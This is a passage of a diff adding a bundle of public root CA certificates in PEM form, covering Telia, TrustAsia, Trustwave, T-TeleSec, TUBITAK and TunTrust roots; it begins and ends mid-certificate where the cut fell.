+MIIFdDCCA1ygAwIBAgIPAWdfJ9b+euPkrL4JWwWeMA0GCSqGSIb3DQEBCwUAMEQx
+CzAJBgNVBAYTAkZJMRowGAYDVQQKDBFUZWxpYSBGaW5sYW5kIE95ajEZMBcGA1UE
+AwwQVGVsaWEgUm9vdCBDQSB2MjAeFw0xODExMjkxMTU1NTRaFw00MzExMjkxMTU1
+NTRaMEQxCzAJBgNVBAYTAkZJMRowGAYDVQQKDBFUZWxpYSBGaW5sYW5kIE95ajEZ
+MBcGA1UEAwwQVGVsaWEgUm9vdCBDQSB2MjCCAiIwDQYJKoZIhvcNAQEBBQADggIP
+ADCCAgoCggIBALLQPwe84nvQa5n44ndp586dpAO8gm2h/oFlH0wnrI4AuhZ76zBq
+AMCzdGh+sq/H1WKzej9Qyow2RCRj0jbpDIX2Q3bVTKFgcmfiKDOlyzG4OiIjNLh9
+vVYiQJ3q9HsDrWj8soFPmNB06o3lfc1jw6P23pLCWBnglrvFxKk9pXSW/q/5iaq9
+lRdU2HhE8Qx3FZLgmEKnpNaqIJLNwaCzlrI6hEKNfdWV5Nbb6WLEWLN5xYzTNTOD
+n3WhUidhOPFZPY5Q4L15POdslv5e2QJltI5c0BE0312/UqeBAMN/mUWZFdUXyApT
+7GPzmX3MaRKGwhfwAZ6/hLzRUssbkmbOpFPlob/E2wnW5olWK8jjfN7j/4nlNW4o
+6GwLI1GpJQXrSPjdscr6bAhR77cYbETKJuFzxokGgeWKrLDiKca5JLNrRBH0pUPC
+TEPlcDaMtjNXepUugqD0XBCzYYP2AgWGLnwtbNwDRm41k9V6lS/eINhbfpSQBGq6
+WT0EBXWdN6IOLj3rwaRSg/7Qa9RmjtzG6RJOHSpXqhC8fF6CfaamyfItufUXJ63R
+DolUK5X6wK0dmBR4M0KGCqlztft0DbcbMBnEWg4cJ7faGND/isgFuvGqHKI3t+ZI
+pEYslOqodmJHixBTB0hXbOKSTbauBcvcwUpej6w9GU7C7WB1K9vBykLVAgMBAAGj
+YzBhMB8GA1UdIwQYMBaAFHKs5DN5qkWH9v2sHZ7Wxy+G2CQ5MB0GA1UdDgQWBBRy
+rOQzeapFh/b9rB2e1scvhtgkOTAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUw
+AwEB/zANBgkqhkiG9w0BAQsFAAOCAgEAoDtZpwmUPjaE0n4vOaWWl/oRrfxn83EJ
+8rKJhGdEr7nv7ZbsnGTbMjBvZ5qsfl+yqwE2foH65IRe0qw24GtixX1LDoJt0nZi
+0f6X+J8wfBj5tFJ3gh1229MdqfDBmgC9bXXYfef6xzijnHDoRnkDry5023X4blMM
+A8iZGok1GTzTyVR8qPAs5m4HeW9q4ebqkYJpCh3DflminmtGFZhb069GHWLIzoBS
+SRE/yQQSwxN8PzuKlts8oB4KtItUsiRnDe+Cy748fdHif64W1lZYudogsYMVoe+K
+TTJvQS8TUoKU1xrBeKJR3Stwbbca+few4GeXVtt8YVMJAygCQMez2P2ccGrGKMOF
+6eLtGpOg3kuYooQ+BXcBlj37tCAPnHICehIv1aO6UXivKitEZU61/Qrowc15h2Er
+3oBXRb9n8ZuRXqWk7FlIEA04x7D6w0RtBPV4UBySllva9bguulvP5fBqnUsvWHMt
+Ty3EHD70sz+rFQ47GUGKpMFXEmZxTPpT41frYpUJnlTd0cI8Vzy9OK2YZLe4A5pT
+VmBds9hCG1xLEooc6+t9xnppxyd/pPiL8uSUZodL6ZQHCRJ5irLrdATczvREWeAW
+ysUsWNc8e89ihmpQfTU2Zqf7N+cox9jQraVplI/owd8k+BsHMYeB2F326CjYSlKA
+rBPuUBQemMc=
+-----END CERTIFICATE-----
+
+# TeliaSonera Root CA v1
+-----BEGIN CERTIFICATE-----
+MIIFODCCAyCgAwIBAgIRAJW+FqD3LkbxezmCcvqLzZYwDQYJKoZIhvcNAQEFBQAw
+NzEUMBIGA1UECgwLVGVsaWFTb25lcmExHzAdBgNVBAMMFlRlbGlhU29uZXJhIFJv
+b3QgQ0EgdjEwHhcNMDcxMDE4MTIwMDUwWhcNMzIxMDE4MTIwMDUwWjA3MRQwEgYD
+VQQKDAtUZWxpYVNvbmVyYTEfMB0GA1UEAwwWVGVsaWFTb25lcmEgUm9vdCBDQSB2
+MTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAMK+6yfwIaPzaSZVfp3F
+VRaRXP3vIb9TgHot0pGMYzHw7CTww6XScnwQbfQ3t+XmfHnqjLWCi65ItqwA3GV1
+7CpNX8GH9SBlK4GoRz6JI5UwFpB/6FcHSOcZrr9FZ7E3GwYq/t75rH2D+1665I+X
+Z75Ljo1kB1c4VWk0Nj0TSO9P4tNmHqTPGrdeNjPUtAa9GAH9d4RQAEX1jF3oI7x+
+/jXh7VB7qTCNGdMJjmhnXb88lxhTuylixcpecsHHltTbLaC0H2kD7OriUPEMPPCs
+81Mt8Bz17Ww5OXOAFshSsCPN4D7c3TxHoLs1iuKYaIu+5b9y7tL6pe0S7fyYGKkm
+dtwoSxAgHNN/Fnct7W+A90m7UwW7XWjH1Mh1Fj+JWov3F0fUTPHSiXk+TT2YqGHe
+Oh7S+F4D4MHJHIzTjU3TlTazN19jY5szFPAtJmtTfImMMsJu7D0hADnJoWjiUIMu
+sDor8zagrC/kb2HCUQk5PotTubtn2txTuXZZNp1D5SDgPTJghSJRt8czu90VL6R4
+pgd7gUY2BIbdeTXHlSw7sKMXNeVzH7RcWe/a6hBle3rQf5+ztCo3O3CLm1u5K7fs
+slESl1MpWtTwEhDcTwK7EpIvYtQ/aUN8Ddb8WHUBiJ1YFkveupD/RwGJBmr2X7KQ
+arMCpgKIv7NHfirZ1fpoeDVNAgMBAAGjPzA9MA8GA1UdEwEB/wQFMAMBAf8wCwYD
+VR0PBAQDAgEGMB0GA1UdDgQWBBTwj1k4ALP1j5qWDNXr+nuqF+gTEjANBgkqhkiG
+9w0BAQUFAAOCAgEAvuRcYk4k9AwI//DTDGjkk0kiP0Qnb7tt3oNmzqjMDfz1mgbl
+dxSR651Be5kqhOX//CHBXfDkH1e3damhXwIm/9fH907eT/j3HEbAek9ALCI18Bmx
+0GtnLLCo4MBANzX2hFxc469CeP6nyQ1Q6g2EdvZR74NTxnr/DlZJLo961gzmJ1Tj
+TQpgcmLNkQfWpb/ImWvtxBnmq0wROMVvMeJuScg/doAmAyYp4Db29iBT4xdwNBed
+Y2gea+zDTYa4EzAvXUYNR0PVG6pZDrlcjQZIrXSHX8f8MVRBE+LHIQ6e4B4N4cB7
+Q4WQxYpYxmUKeFfyxiMPAdkgS94P+5KFdSpcc41teyWRyu5FrgZLAMzTsVlQ2jqI
+OylDRl6XK1TOU2+NSueW+r9xDkKLfP0ooNBIytrEgUy7onOTJsjrDNYmiLbAJM+7
+vVvrdX3pCI6GMyx5dwlppYn8s3CQh3aP0yK7Qs69cwsgJirQmz1wHiRszYd2qReW
+t88NkvuOGKmYSdGe/mBEciG5Ge3C9THxOUiIkCR1VBatzvT4aRRkOfujuLpwQMcn
+HL/EVlP6Y2XQ8xwOFvVrhlhNGNTkDY6lnVuR3HYkUD/GKvvZt5y11ubQ2egZixVx
+SK236thZiNSQvxaz2emsWWFUyBy6ysHK4bkgTI86k4mloMy/0/Z1pHWWbVY=
+-----END CERTIFICATE-----
+
+# TrustAsia Global Root CA G3
+-----BEGIN CERTIFICATE-----
+MIIFpTCCA42gAwIBAgIUZPYOZXdhaqs7tOqFhLuxibhxkw8wDQYJKoZIhvcNAQEM
+BQAwWjELMAkGA1UEBhMCQ04xJTAjBgNVBAoMHFRydXN0QXNpYSBUZWNobm9sb2dp
+ZXMsIEluYy4xJDAiBgNVBAMMG1RydXN0QXNpYSBHbG9iYWwgUm9vdCBDQSBHMzAe
+Fw0yMTA1MjAwMjEwMTlaFw00NjA1MTkwMjEwMTlaMFoxCzAJBgNVBAYTAkNOMSUw
+IwYDVQQKDBxUcnVzdEFzaWEgVGVjaG5vbG9naWVzLCBJbmMuMSQwIgYDVQQDDBtU
+cnVzdEFzaWEgR2xvYmFsIFJvb3QgQ0EgRzMwggIiMA0GCSqGSIb3DQEBAQUAA4IC
+DwAwggIKAoICAQDAMYJhkuSUGwoqZdC+BqmHO1ES6nBBruL7dOoKjbmzTNyPtxNS
+T1QY4SxzlZHFZjtqz6xjbYdT8PfxObegQ2OwxANdV6nnRM7EoYNl9lA+sX4WuDqK
+AtCWHwDNBSHvBm3dIZwZQ0WhxeiAysKtQGIXBsaqvPPW5vxQfmZCHzyLpnl5hkA1
+nyDvP+uLRx+PjsXUjrYsyUQE49RDdT/VP68czH5GX6zfZBCK70bwkPAPLfSIC7Ep
+qq+FqklYqL9joDiR5rPmd2jE+SoZhLsO4fWvieylL1AgdB4SQXMeJNnKziyhWTXA
+yB1GJ2Faj/lN03J5Zh6fFZAhLf3ti1ZwA0pJPn9pMRJpxx5cynoTi+jm9WAPzJMs
+hH/x/Gr8m0ed262IPfN2dTPXS6TIi/n1Q1hPy8gDVI+lhXgEGvNz8teHHUGf59gX
+zhqcD0r83ERoVGjiQTz+LISGNzzNPy+i2+f3VANfWdP3kXjHi3dqFuVJhZBFcnAv
+kV34PmVACxmZySYgWmjBNb9Pp1Hx2BErW+Canig7CjoKH8GB5S7wprlppYiU5msT
+f9FkPz2ccEblooV7WIQn3MSAPmeamseaMQ4w7OYXQJXZRe0Blqq/DPNL0WP3E1jA
+uPP6Z92bfW1K/zJMtSU7/xxnD4UiWQWRkUF3gdCFTIcQcf+eQxuulXUtgQIDAQAB
+o2MwYTAPBgNVHRMBAf8EBTADAQH/MB8GA1UdIwQYMBaAFEDk5PIj7zjKsK5Xf/Ih
+MBY027ySMB0GA1UdDgQWBBRA5OTyI+84yrCuV3/yITAWNNu8kjAOBgNVHQ8BAf8E
+BAMCAQYwDQYJKoZIhvcNAQEMBQADggIBACY7UeFNOPMyGLS0XuFlXsSUT9SnYaP4
+wM8zAQLpw6o1D/GUE3d3NZ4tVlFEbuHGLige/9rsR82XRBf34EzC4Xx8MnpmyFq2
+XFNFV1pF1AWZLy4jVe5jaN/TG3inEpQGAHUNcoTpLrxaatXeL1nHo+zSh2bbt1S1
+JKv0Q3jbSwTEb93mPmY+KfJLaHEih6D4sTNjduMNhXJEIlU/HHzp/LgV6FL6qj6j
+ITk1dImmasI5+njPtqzn59ZW/yOSLlALqbUHM/Q4X6RJpstlcHboCoWASzY9M/eV
+VHUl2qzEc4Jl6VL1XP04lQJqaTDFHApXB64ipCz5xUG3uOyfT0gA+QEEVcys+TIx
+xHWVBqB/0Y0n3bOppHKH/lmLmnp0Ft0WpWIp6zqW3IunaFnT63eROfjXy9mPX1on
+AX1daBli2MjN9LdyR75bl87yraKZk62Uy5P2EgmVtqvXO9A/EcswFi55gORngS1d
+7XB4tmBZrOFdRWOPyN9yaFvqHbgB8X7754qz41SgOAngPN5C8sLtLpvzHzW2Ntjj
+gKGLzZlkD8Kqq7HK9W+eQ42EVJmzbsASZthwEPEGNTNDqJwuuhQxzhB/HIbjj9LV
++Hfsm6vxL2PZQl/gZ4FkkfGXL/xuJvYz+NO1+MRiqzFRJQJ6+N1rZdVtTTDIZbpo
+FGWsJwt0ivKH
+-----END CERTIFICATE-----
+
+# TrustAsia Global Root CA G4
+-----BEGIN CERTIFICATE-----
+MIICVTCCAdygAwIBAgIUTyNkuI6XY57GU4HBdk7LKnQV1tcwCgYIKoZIzj0EAwMw
+WjELMAkGA1UEBhMCQ04xJTAjBgNVBAoMHFRydXN0QXNpYSBUZWNobm9sb2dpZXMs
+IEluYy4xJDAiBgNVBAMMG1RydXN0QXNpYSBHbG9iYWwgUm9vdCBDQSBHNDAeFw0y
+MTA1MjAwMjEwMjJaFw00NjA1MTkwMjEwMjJaMFoxCzAJBgNVBAYTAkNOMSUwIwYD
+VQQKDBxUcnVzdEFzaWEgVGVjaG5vbG9naWVzLCBJbmMuMSQwIgYDVQQDDBtUcnVz
+dEFzaWEgR2xvYmFsIFJvb3QgQ0EgRzQwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAATx
+s8045CVD5d4ZCbuBeaIVXxVjAd7Cq92zphtnS4CDr5nLrBfbK5bKfFJV4hrhPVbw
+LxYI+hW8m7tH5j/uqOFMjPXTNvk4XatwmkcN4oFBButJ+bAp3TPsUKV/eSm4IJij
+YzBhMA8GA1UdEwEB/wQFMAMBAf8wHwYDVR0jBBgwFoAUpbtKl86zK3+kMd6Xg1mD
+pm9xy94wHQYDVR0OBBYEFKW7SpfOsyt/pDHel4NZg6ZvccveMA4GA1UdDwEB/wQE
+AwIBBjAKBggqhkjOPQQDAwNnADBkAjBe8usGzEkxn0AAbbd+NvBNEU/zy4k6LHiR
+UKNbwMp1JvK/kF0LgoxgKJ/GcJpo5PECMFxYDlZ2z1jD1xCMuo6u47xkdUfFVZDj
+/bpV6wfEU6s3qe4hsiFbYI89MvHVI5TWWA==
+-----END CERTIFICATE-----
+
+# Trustwave Global Certification Authority
+-----BEGIN CERTIFICATE-----
+MIIF2jCCA8KgAwIBAgIMBfcOhtpJ80Y1LrqyMA0GCSqGSIb3DQEBCwUAMIGIMQsw
+CQYDVQQGEwJVUzERMA8GA1UECAwISWxsaW5vaXMxEDAOBgNVBAcMB0NoaWNhZ28x
+ITAfBgNVBAoMGFRydXN0d2F2ZSBIb2xkaW5ncywgSW5jLjExMC8GA1UEAwwoVHJ1
+c3R3YXZlIEdsb2JhbCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0xNzA4MjMx
+OTM0MTJaFw00MjA4MjMxOTM0MTJaMIGIMQswCQYDVQQGEwJVUzERMA8GA1UECAwI
+SWxsaW5vaXMxEDAOBgNVBAcMB0NoaWNhZ28xITAfBgNVBAoMGFRydXN0d2F2ZSBI
+b2xkaW5ncywgSW5jLjExMC8GA1UEAwwoVHJ1c3R3YXZlIEdsb2JhbCBDZXJ0aWZp
+Y2F0aW9uIEF1dGhvcml0eTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIB
+ALldUShLPDeS0YLOvR29zd24q88KPuFd5dyqCblXAj7mY2Hf8g+CY66j96xz0Xzn
+swuvCAAJWX/NKSqIk4cXGIDtiLK0thAfLdZfVaITXdHG6wZWiYj+rDKd/VzDBcdu
+7oaJuogDnXIhhpCujwOl3J+IKMujkkkP7NAP4m1ET4BqstTnoApTAbqOl5F2brz8
+1Ws25kCI1nsvXwXoLG0R8+eyvpJETNKXpP7ScoFDB5zpET71ixpZfR9oWN0EACyW
+80OzfpgZdNmcc9kYvkHHNHnZ9GLCQ7mzJ7Aiy/k9UscwR7PJPrhq4ufogXBeQotP
+JqX+OsIgbrv4Fo7NDKm0G2x2EOFYeUY+VM6AqFcJNykbmROPDMjWLBz7BegIlT1l
+RtzuzWniTY+HKE40Cz7PFNm73bZQmq131BnW2hqIyE4bJ3XYsgjxroMwuREOzYfw
+hI0Vcnyh78zyiGG69Gm7DIwLdVcEuE4qFC49DxweMqZiNu5m4iK4BUBjECLzMx10
+coos9TkpoNPnG4CELcU9402x/RpvumUHO1jsQkUm+9jaJXLE9gCxInm943xZYkqc
+BW89zubWR2OZxiRvchLIrH+QtAuRcOi35hYQcRfO3gZPSEF9NUqjifLJS3tBEW1n
+twiYTOURGa5CgNz7kAXU+FDKvuStx8KU1xad5hePrzb7AgMBAAGjQjBAMA8GA1Ud
+EwEB/wQFMAMBAf8wHQYDVR0OBBYEFJngGWcNYtt2s9o9uFvo/ULSMQ6HMA4GA1Ud
+DwEB/wQEAwIBBjANBgkqhkiG9w0BAQsFAAOCAgEAmHNw4rDT7TnsTGDZqRKGFx6W
+0OhUKDtkLSGm+J1WE2pIPU/HPinbbViDVD2HfSMF1OQc3Og4ZYbFdada2zUFvXfe
+uyk3QAUHw5RSn8pk3fEbK9xGChACMf1KaA0HZJDmHvUqoai7PF35owgLEQzxPy0Q
+lG/+4jSHg9bP5Rs1bdID4bANqKCqRieCNqcVtgimQlRXtpla4gt5kNdXElE1GYhB
+aCXUNxeEFfsBctyV3lImIJgm4nb1J2/6ADtKYdkNy1GTKv0WBpanI5ojSP5RvbbE
+sLFUzt5sQa0WZ37b/TjNuThOssFgy50X31ieemKyJo90lZvkWx3SD92YHJtZuSPT
+MaCm/zjdzyBP6VhWOmfD0faZmZ26NraAL4hHT4a/RDqA5Dccprrql5gR0IRiR2Qe
+qu5AvzSxnI9O4fKSTx+O856X3vOmeWqJcU9LJxdI/uz0UA9PSX3MReO9ekDFQdxh
+VicGaeVyQYHTtgGJoC86cnn+OjC/QezHYj6RS8fZMXZC+fc8Y+wmjHMMfRod6qh8
+h6jCJ3zhM0EPz8/8AKAigJ5Kp28AsEFFtyLKaEjFQqKu3R3y4G5OBVixwJAWKqQ9
+EEC+j2Jjg6mcgn0tAumDMHzLJ8n9HmYAsC7TIS+OMxZsmO0QqAfWzJPP29FpHOTK
+yeC2nOnOcXHebD8WpHk=
+-----END CERTIFICATE-----
+
+# Trustwave Global ECC P256 Certification Authority
+-----BEGIN CERTIFICATE-----
+MIICYDCCAgegAwIBAgIMDWpfCD8oXD5Rld9dMAoGCCqGSM49BAMCMIGRMQswCQYD
+VQQGEwJVUzERMA8GA1UECBMISWxsaW5vaXMxEDAOBgNVBAcTB0NoaWNhZ28xITAf
+BgNVBAoTGFRydXN0d2F2ZSBIb2xkaW5ncywgSW5jLjE6MDgGA1UEAxMxVHJ1c3R3
+YXZlIEdsb2JhbCBFQ0MgUDI1NiBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0x
+NzA4MjMxOTM1MTBaFw00MjA4MjMxOTM1MTBaMIGRMQswCQYDVQQGEwJVUzERMA8G
+A1UECBMISWxsaW5vaXMxEDAOBgNVBAcTB0NoaWNhZ28xITAfBgNVBAoTGFRydXN0
+d2F2ZSBIb2xkaW5ncywgSW5jLjE6MDgGA1UEAxMxVHJ1c3R3YXZlIEdsb2JhbCBF
+Q0MgUDI1NiBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTBZMBMGByqGSM49AgEGCCqG
+SM49AwEHA0IABH77bOYj43MyCMpg5lOcunSNGLB4kFKA3TjASh3RqMyTpJcGOMoN
+FWLGjgEqZZ2q3zSRLoHB5DOSMcT9CTqmP62jQzBBMA8GA1UdEwEB/wQFMAMBAf8w
+DwYDVR0PAQH/BAUDAwcGADAdBgNVHQ4EFgQUo0EGrJBt0UrrdaVKEJmzsaGLSvcw
+CgYIKoZIzj0EAwIDRwAwRAIgB+ZU2g6gWrKuEZ+Hxbb/ad4lvvigtwjzRM4q3wgh
+DDcCIC0mA6AFvWvR9lz4ZcyGbbOcNEhjhAnFjXca4syc4XR7
+-----END CERTIFICATE-----
+
+# Trustwave Global ECC P384 Certification Authority
+-----BEGIN CERTIFICATE-----
+MIICnTCCAiSgAwIBAgIMCL2Fl2yZJ6SAaEc7MAoGCCqGSM49BAMDMIGRMQswCQYD
+VQQGEwJVUzERMA8GA1UECBMISWxsaW5vaXMxEDAOBgNVBAcTB0NoaWNhZ28xITAf
+BgNVBAoTGFRydXN0d2F2ZSBIb2xkaW5ncywgSW5jLjE6MDgGA1UEAxMxVHJ1c3R3
+YXZlIEdsb2JhbCBFQ0MgUDM4NCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0x
+NzA4MjMxOTM2NDNaFw00MjA4MjMxOTM2NDNaMIGRMQswCQYDVQQGEwJVUzERMA8G
+A1UECBMISWxsaW5vaXMxEDAOBgNVBAcTB0NoaWNhZ28xITAfBgNVBAoTGFRydXN0
+d2F2ZSBIb2xkaW5ncywgSW5jLjE6MDgGA1UEAxMxVHJ1c3R3YXZlIEdsb2JhbCBF
+Q0MgUDM4NCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTB2MBAGByqGSM49AgEGBSuB
+BAAiA2IABGvaDXU1CDFHBa5FmVXxERMuSvgQMSOjfoPTfygIOiYaOs+Xgh+AtycJ
+j9GOMMQKmw6sWASr9zZ9lCOkmwqKi6vr/TklZvFe/oyujUF5nQlgziip04pt89ZF
+1PKYhDhloKNDMEEwDwYDVR0TAQH/BAUwAwEB/zAPBgNVHQ8BAf8EBQMDBwYAMB0G
+A1UdDgQWBBRVqYSJ0sEyvRjLbKYHTsjnnb6CkDAKBggqhkjOPQQDAwNnADBkAjA3
+AZKXRRJ+oPM+rRk6ct30UJMDEr5E0k9BpIycnR+j9sKS50gU/k6bpZFXrsY3crsC
+MGclCrEMXu6pY5Jv5ZAL/mYiykf9ijH3g/56vxC+GCsej/YpHpRZ744hN8tRmKVu
+Sw==
+-----END CERTIFICATE-----
+
+# T-TeleSec GlobalRoot Class 2
+-----BEGIN CERTIFICATE-----
+MIIDwzCCAqugAwIBAgIBATANBgkqhkiG9w0BAQsFADCBgjELMAkGA1UEBhMCREUx
+KzApBgNVBAoMIlQtU3lzdGVtcyBFbnRlcnByaXNlIFNlcnZpY2VzIEdtYkgxHzAd
+BgNVBAsMFlQtU3lzdGVtcyBUcnVzdCBDZW50ZXIxJTAjBgNVBAMMHFQtVGVsZVNl
+YyBHbG9iYWxSb290IENsYXNzIDIwHhcNMDgxMDAxMTA0MDE0WhcNMzMxMDAxMjM1
+OTU5WjCBgjELMAkGA1UEBhMCREUxKzApBgNVBAoMIlQtU3lzdGVtcyBFbnRlcnBy
+aXNlIFNlcnZpY2VzIEdtYkgxHzAdBgNVBAsMFlQtU3lzdGVtcyBUcnVzdCBDZW50
+ZXIxJTAjBgNVBAMMHFQtVGVsZVNlYyBHbG9iYWxSb290IENsYXNzIDIwggEiMA0G
+CSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCqX9obX+hzkeXaXPSi5kfl82hVYAUd
+AqSzm1nzHoqvNK38DcLZSBnuaY/JIPwhqgcZ7bBcrGXHX+0CfHt8LRvWurmAwhiC
+FoT6ZrAIxlQjgeTNuUk/9k9uN0goOA/FvudocP05l03Sx5iRUKrERLMjfTlH6VJi
+1hKTXrcxlkIF+3anHqP1wvzpesVsqXFP6st4vGCvx9702cu+fjOlbpSD8DT6Iavq
+jnKgP6TeMFvvhk1qlVtDRKgQFRzlAVfFmPHmBiiRqiDFt1MmUUOyCxGVWOHAD3bZ
+wI18gfNycJ5v/hqO2V81xrJvNHy+SE/iWjnX2J14np+GPgNeGYtEotXHAgMBAAGj
+QjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBS/
+WSA2AHmgoCJrjNXyYdK4LMuCSjANBgkqhkiG9w0BAQsFAAOCAQEAMQOiYQsfdOhy
+NsZt+U2e+iKo4YFWz827n+qrkRk4r6p8FU3ztqONpfSO9kSpp+ghla0+AGIWiPAC
+uvxhI+YzmzB6azZie60EI4RYZeLbK4rnJVM3YlNfvNoBYimipidx5joifsFvHZVw
+IEoHNN/q/xWA5brXethbdXwFeilHfkCoMRN3zUA7tFFHei4R40cR3p1m0IvVVGb6
+g1XqfMIpiRvpb7PO4gWEyS8+eIVibslfwXhjdFjASBgMmTnrpMwatXlajRWc2BQN
+9noHV8cigwUtPJslJj0Ys6lDfMjIq2SPDqO/nBudMNva0Bkuqjzx+zOAduTNrRlP
+BSeOE6Fuwg==
+-----END CERTIFICATE-----
+
+# T-TeleSec GlobalRoot Class 3
+-----BEGIN CERTIFICATE-----
+MIIDwzCCAqugAwIBAgIBATANBgkqhkiG9w0BAQsFADCBgjELMAkGA1UEBhMCREUx
+KzApBgNVBAoMIlQtU3lzdGVtcyBFbnRlcnByaXNlIFNlcnZpY2VzIEdtYkgxHzAd
+BgNVBAsMFlQtU3lzdGVtcyBUcnVzdCBDZW50ZXIxJTAjBgNVBAMMHFQtVGVsZVNl
+YyBHbG9iYWxSb290IENsYXNzIDMwHhcNMDgxMDAxMTAyOTU2WhcNMzMxMDAxMjM1
+OTU5WjCBgjELMAkGA1UEBhMCREUxKzApBgNVBAoMIlQtU3lzdGVtcyBFbnRlcnBy
+aXNlIFNlcnZpY2VzIEdtYkgxHzAdBgNVBAsMFlQtU3lzdGVtcyBUcnVzdCBDZW50
+ZXIxJTAjBgNVBAMMHFQtVGVsZVNlYyBHbG9iYWxSb290IENsYXNzIDMwggEiMA0G
+CSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC9dZPwYiJvJK7genasfb3ZJNW4t/zN
+8ELg63iIVl6bmlQdTQyK9tPPcPRStdiTBONGhnFBSivwKixVA9ZIw+A5OO3yXDw/
+RLyTPWGrTs0NvvAgJ1gORH8EGoel15YUNpDQSXuhdfsaa3Ox+M6pCSzyU9XDFES4
+hqX2iys52qMzVNn6chr3IhUciJFrf2blw2qAsCTz34ZFiP0Zf3WHHx+xGwpzJFu5
+ZeAsVMhg02YXP+HMVDNzkQI6pn97djmiH5a2OK61yJN0HZ65tOVgnS9W0eDrXltM
+EnAMbEQgqxHY9Bn20pxSN+f6tsIxO0rUFJmtxxr1XV/6B7h8DR/Wgx6zAgMBAAGj
+QjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBS1
+A/d2O2GCahKqGFPrAyGUv/7OyjANBgkqhkiG9w0BAQsFAAOCAQEAVj3vlNW92nOy
+WL6ukK2YJ5f+AbGwUgC4TeQbIXQbfsDuXmkqJa9c1h3a0nnJ85cp4IaH3gRZD/FZ
+1GSFS5mvJQQeyUapl96Cshtwn5z2r3Ex3XsFpSzTucpH9sry9uetuUg/vBa3wW30
+6gmv7PO15wWeph6KU1HWk4HMdJP2udqmJQV0eVp+QD6CSyYRMG7hP0HHRwA11fXT
+91Q+gT3aSWqas+8QPebrb9HIIkfLzM8BMZLZGOMivgkeGj5asuRrDFR6fUNOuIml
+e9eiPZaGzPImNC1qkp2aGtAw4l1OBLBfiyB+d8E9lYLRRpo7PHi4b6HQDWSieB4p
+TpPDpFQUWw==
+-----END CERTIFICATE-----
+
+# TUBITAK Kamu SM SSL Kok Sertifikasi - Surum 1
+-----BEGIN CERTIFICATE-----
+MIIEYzCCA0ugAwIBAgIBATANBgkqhkiG9w0BAQsFADCB0jELMAkGA1UEBhMCVFIx
+GDAWBgNVBAcTD0dlYnplIC0gS29jYWVsaTFCMEAGA1UEChM5VHVya2l5ZSBCaWxp
+bXNlbCB2ZSBUZWtub2xvamlrIEFyYXN0aXJtYSBLdXJ1bXUgLSBUVUJJVEFLMS0w
+KwYDVQQLEyRLYW11IFNlcnRpZmlrYXN5b24gTWVya2V6aSAtIEthbXUgU00xNjA0
+BgNVBAMTLVRVQklUQUsgS2FtdSBTTSBTU0wgS29rIFNlcnRpZmlrYXNpIC0gU3Vy
+dW0gMTAeFw0xMzExMjUwODI1NTVaFw00MzEwMjUwODI1NTVaMIHSMQswCQYDVQQG
+EwJUUjEYMBYGA1UEBxMPR2ViemUgLSBLb2NhZWxpMUIwQAYDVQQKEzlUdXJraXll
+IEJpbGltc2VsIHZlIFRla25vbG9qaWsgQXJhc3Rpcm1hIEt1cnVtdSAtIFRVQklU
+QUsxLTArBgNVBAsTJEthbXUgU2VydGlmaWthc3lvbiBNZXJrZXppIC0gS2FtdSBT
+TTE2MDQGA1UEAxMtVFVCSVRBSyBLYW11IFNNIFNTTCBLb2sgU2VydGlmaWthc2kg
+LSBTdXJ1bSAxMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAr3UwM6q7
+a9OZLBI3hNmNe5eA027n/5tQlT6QlVZC1xl8JoSNkvoBHToP4mQ4t4y86Ij5iySr
+LqP1N+RAjhgleYN1Hzv/bKjFxlb4tO2KRKOrbEz8HdDc72i9z+SqzvBV96I01INr
+N3wcwv61A+xXzry0tcXtAA9TNypN9E8Mg/uGz8v+jE69h/mniyFXnHrfA2eJLJ2X
+YacQuFWQfw4tJzh03+f92k4S400VIgLI4OD8D62K18lUUMw7D8oWgITQUVbDjlZ/
+iSIzL+aFCr2lqBs23tPcLG07xxO9WSMs5uWk99gL7eqQQESolbuT1dCANLZGeA4f
+AJNG4e7p+exPFwIDAQABo0IwQDAdBgNVHQ4EFgQUZT/HiobGPN08VFw1+DrtUgxH
+V8gwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQEL
+BQADggEBACo/4fEyjq7hmFxLXs9rHmoJ0iKpEsdeV31zVmSAhHqT5Am5EM2fKifh
+AHe+SMg1qIGf5LgsyX8OsNJLN13qudULXjS99HMpw+0mFZx+CFOKWI3QSyjfwbPf
+IPP54+M638yclNhOT8NrF7f3cuitZjO1JVOr4PhMqZ398g26rrnZqsZr+ZO7rqu4
+lzwDGrpDxpa5RXI4s6ehlj2Re37AIVNMh+3yC1SVUZPVIqUNivGTDj5UDrDYyU7c
+8jEyVupk+eq1nRZmQnLzf9OxMUP8pI4X8W0jq5Rm+K37DwhuJi1/FwcJsoz7UMCf
+lo3Ptv0AnVoUmr8CRPXBwp8iXqIPoeM=
+-----END CERTIFICATE-----
+
+# TunTrust Root CA
+-----BEGIN CERTIFICATE-----
+MIIFszCCA5ugAwIBAgIUEwLV4kBMkkaGFmddtLu7sms+/BMwDQYJKoZIhvcNAQEL
+BQAwYTELMAkGA1UEBhMCVE4xNzA1BgNVBAoMLkFnZW5jZSBOYXRpb25hbGUgZGUg
+Q2VydGlmaWNhdGlvbiBFbGVjdHJvbmlxdWUxGTAXBgNVBAMMEFR1blRydXN0IFJv
+b3QgQ0EwHhcNMTkwNDI2MDg1NzU2WhcNNDQwNDI2MDg1NzU2WjBhMQswCQYDVQQG
+EwJUTjE3MDUGA1UECgwuQWdlbmNlIE5hdGlvbmFsZSBkZSBDZXJ0aWZpY2F0aW9u
